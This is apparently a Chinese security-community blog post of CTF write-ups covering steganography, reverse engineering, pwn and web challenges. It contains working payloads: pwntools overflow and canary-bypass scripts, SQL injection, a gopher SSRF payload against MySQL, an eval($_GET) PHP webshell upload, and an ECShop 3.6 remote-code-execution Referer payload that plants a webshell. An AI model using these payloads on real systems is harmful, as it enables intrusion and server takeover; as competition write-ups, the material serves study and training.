安全社区
黑盾云安全社区,与你一起分享安全领域的知识与智慧
黑盾云安全社区,与你一起分享安全领域的知识与智慧
安全研究2020-09-25 14:29:21 12280次围观
明显的RSA,将n分解得三个因数:
p=17100682436035561357
r=CRC32碰撞脚本: https://github.com/theonlypwner/crc32
将1-6.txt的校验码提取出来,然后使用脚本碰撞。
得到解压密码
the_password_here_cipher
解压得到flag
CMISCCTF{how_to_burp_by_coding}
zip伪加密,修改hex为00后解压再解两次base64。
CMISCCTF{Fake_encryption}
解压得到一张图片
使用stegsolve软件打开图片
打开red plane7通道
发现可以看到一些点组成的字母
观察可得flag,值得注意的是的是中间有一个下划线
CMISCCTF{coconut_tree}
得到一张残缺的二维码
残缺二维码修复在线网站:https://merricx.github.io/qrazybox/
使用在线修复网站,二维码是version4 版本,尺寸33x33,把这一半填好
然后像灰色的地方添白
得到
扫描识别
CMISCCTF{qr_c0de_r3c0very}
题目一张图blind.png,一个enc.rar的压缩包,压缩包有密码
密码应该应该藏在png
Binwlak分析
发现还有一张图片 分离出来,发现两张图片一样,盲水印解一下。
解压密码:Q@CTF@NX,得到ctfer.png。
010分析
选中第二张图片 插入文件头
得到flag
CMISCCTF{double_picture}
解压题目附件得到music.wav
正放和反放没听出什么特征出来,看特征高低振幅明显,使用脚本对高低振幅转换为01,高振幅为1,低振幅为0,使用python脚本转换,并且将转换出来的01二进制文件流,八个一组转换为两位十六进制,然后将十六进制文件流写入文件内,脚本如下
import numpy as np
import struct
import wave
import re
def write_records(records, format, f):
#Write a sequence of tuples to a binary file of structures.
record_struct = Struct(format)
for r in records:
f.write(record_struct.pack(*r))
path ="./music.wav"
f = wave.open(path, "rb")
# 读取格式信息
# (nchannels, sampwidth, framerate, nframes, comptype, compname)
params = f.getparams()
nchannels, sampwidth, framerate, nframes = params[:4]
# 读取波形数据
str_data = f.readframes(nframes)
f.close()
#将波形数据转换为数组
wave_data = np.fromstring(str_data, dtype=np.short)
b =''
# arr = [elem for elem in wave_data if elem >0]
max =0
d =''
for i in wave_data:
if i << span="">0:
ifmax !=0:
ifmax<< span="">25000:
d +='0'
else:
d +='1'
pass
max =0
ifmax << span=""> i:
max = i
print(d)
print(" ")
a = re.findall(r'.{8}',d)
hex_list=[]
for i in a:
res =hex(int(i,2))
hex_list.append(res)
print(hex_list)
withopen("result.txt","wb") as f:
for x in hex_list:
s = struct.pack('B',int(x,16))
f.write(s)
使用010 editor打开发现是RAR的头文件,修改文件后缀为.rar
解压得到
nnnoflag.txt并没有flag内容,rar的压缩包中也无其他内容,猜测这里有NTFS文件流隐写
使用ntfsstreamseditor扫描nnnnoflag.txt的目录
发现隐写了张图片,导出图片得到如下半张二维码
猜测图片有可能修改了宽高,使用01 editor修改十六进制高度和宽度相同为:01 18
扫描得到flag
flag{4dcfda814ec9fd4761c1139fee3f65eb}
Angr +符号执行
#define MAX_SIZE 0x40
#include
#include
unsignedchar check[] = {
0x03, 0x12, 0x1a, 0x17, 0x0a, 0xec, 0xf2, 0x14, 0x0e, 0x05, 0x03, 0x1d,
0x19, 0x0e, 0x02, 0x0a, 0x1f, 0x07, 0x0c, 0x01, 0x17, 0x06, 0x0c, 0x0a,
0x19, 0x13, 0x0a, 0x16, 0x1c, 0x18, 0x08, 0x07, 0x1a, 0x03, 0x1d, 0x1c,
0x11, 0x0b, 0xf3, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x05
};
int reverse(unsignedchar *a1) {
int k; // [rsp+0h] [rbp-18h]
int j; // [rsp+4h] [rbp-14h]
int i; // [rsp+8h] [rbp-10h]
for ( i = 0; i < MAX_SIZE; ++i )
a1[i] += 5;
for ( j = 0; j < MAX_SIZE - 1; ++j )
a1[j] ^= a1[j + 1];
for ( k = 0; ; ++k )
{
if ( k >= MAX_SIZE )
return1;
if ( check[k] != a1[k] )
break;
}
return 0LL;
}
int main(int argc, char *argv[]) {
char flaggie[0x50];
read(0, flaggie, 0x40);
return reverse(flaggie);
}
使用以下命令编译为二进制文件
gcc source.c -no-pie -o flag
然后。
import angr
p = angr.Project('./flag')
pg = p.factory.simulation_manager()
# find is the addr for the "good case" we want to reach
# avoid is the "bad case"
e = pg.explore(find=0x0040120d, avoid=0x0040123f)
if len(e.found) > 0:
print(e.found[0].posix.dumps(0))
得到flag
CMISCCTF{machine_agnostic_that_not_easy}
反编译后发现用户名和密码进行计算产生一个值 a1, a1进行接下来的计算 找到关键计算部分:
v3 = 3114571393449336878LL;
v4 = 3609637387099048214LL;
v5 = 649376180647958543LL;
v6 = 16916018;
v7 = 2075;
v8 = 16;
for ( i = 0; i <= 30; ++i )
putchar(a1 ^ *((char *)&v3 + i));
其中这几个数据类型识别有问题,正常应该是char数组
转换后依次尝试a1的值,找到一个这样的字符串:FTCCSIMC_uoy_od{dna_prublos_ev}
将该字符串倒序,分组、拼接即得flag:
CMISCCTF{do_you_burp_and_solve}
惯例checksec,只开了NX保护,四舍五入就是没有保护
拖入IDA,发现当v5的值为-559038737(0xdeadbeef)时可以getflag
read函数读入到地址esp+0x80-0x68,v5的地址是esp+0x7c,所以我们只需要覆盖掉v5的值为0xdeafbeef即可getflag
故构造payload如下
from pwn import *
pl = b'A'*0x64+ p32(0xdeadbeef)
p = process('./bin')#p = remote('192.168.5.11',22987)
p.sendline(pl)
p.interactive()
惯例的checksec,开了NX保护和Canary,说明我们不能像之前那样轻松地溢出了,需要绕过Canary
拖入IDA进行分析,我们可以发现在fun()函数处存在溢出,偏移量为0x70,故考虑绕过canary后控制程序返回至getflag()
img
如何绕过canary?在main函数中我们可以看到其先读入format再输出format,存在格式化字符串漏洞,我们可以利用这个来输出canary的值,再覆盖掉即可
故构造payload如下
from pwn import *
pl1 ='%7$x'
get_flag =0x804863d
p = process('./canary')#p = remote('192.168.5.11',39274)
p.sendline(pl1)
cnry =int(p.recv(),16)
pl2 =26*p32(cnry) + p32(get_flag)
p.sendline(pl2)
p.interactive()
得到flag
img
伪协议读。
GET /?page=php://filter/read=convert.base64-encode/resource=flag.php
# flag{web_eeasyweb}
修改xff为127.0.0.1,宽字节注入。
usernmae=admin%df'||1=1#password=admin
提示:flag in the http://ip/greatctfea5y55rf/。
访问提示swp泄露,再访问.index.php.swp。
$argv[1]=$_GET['a'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
$r = parse_url($argv[1]);
print_r($r);
if(preg_match('/great.ctf$/',$r['host']))
{
$a=file_get_contents($argv[1]);
echo($a);
}else
{
echo("error");
}
}else
{
echo "Error:Invalid URL; WhereIsSourceCode ";
}
?>
构造。
GET ?a=south://great.ctf/../../../../../../../../flag.txt
# flag{greatctf}
源代码提示
我的flag都放在数据库ctfcontest里,你用admin账户就能访问到,快去找吧!
推测是gopher打mysql,gopherus一把梭。
python gopherus.py --exploit mysql
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ ___ / _ ____ | | _/ __ _ __ | / ___/
_ ( <_>) |_> > Y ___/| | / | /___
______ /____/| __/|___| /___ >__| |____//____ >
/ |__| / / /
author: $_SpyD3r_$
For making it work username should not be password protected!!!
Give MySQL username: admin
Give query to execute: use ctfcontest;show tables;select * from flag;
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%2f%00%00%00%03%75%73%65%20%63%74%66%63%6f%6e%74%65%73%74%3b%73%68%6f%77%20%74%61%62%6c%65%73%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01
flag{wqweb_simplebrowser}
右键源代码有提示,进入上传页面后,Content-Type绕过。
burpsuite不停发包,浏览器不停刷新访问shell就行。
POST /h1dden_aurora_hochladen.php HTTP/1.1
Host: 172.1.2.15
Content-Length: 323
Cache-Control: max-age=0
Origin: http://172.1.2.15
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIkStpUBRiMXKspD4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.1.2.15/h1dden_aurora_hochladen.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
Connection: close
------WebKitFormBoundaryIkStpUBRiMXKspD4
Content-Disposition: form-data; name="upload_file"; filename="south.php"
Content-Type: image/jpeg
eval($_GET['south']);
?>
------WebKitFormBoundaryIkStpUBRiMXKspD4
Content-Disposition: form-data; name="submit"
上ä¼
------WebKitFormBoundaryIkStpUBRiMXKspD4--
得到flag。
flag{aurorawebsit}
解题思路来源:厦门理工学院_CodeMonster战队
1、访问目标系统,是个ECShop商城网站。
2、 浏览界面发现,ecshop 版本为 3.6,ecshop3.6 存在命令执行漏洞
3、 进行漏洞利用,启动 burpsuite。
4、 注册账户,访问 user.php 并传参数 act=login 同时抓包
5、 添加 Referer 头信息并传入 poc显示Phpinfo 信息如下Referer:
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1'UNION/*";}45ea207d7a2b68c49582d2d22adf953a
Wehshell 如下(会在网站根目录下生成一个 1.php,密码:1337):
Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}
6、 执行如下 poc 可直接上传一个 webshell
7、 使用蚁剑进行 webshell 连接
漏洞防护
1、对漏洞进行修复,进入网站服务器内,修改/includesb_insert.php
2、使用 hmwebshell 工具扫描木马,进行删除
解题思路来源:海峡信息
下一篇: 紧急应对“永恒之蓝”勒索蠕虫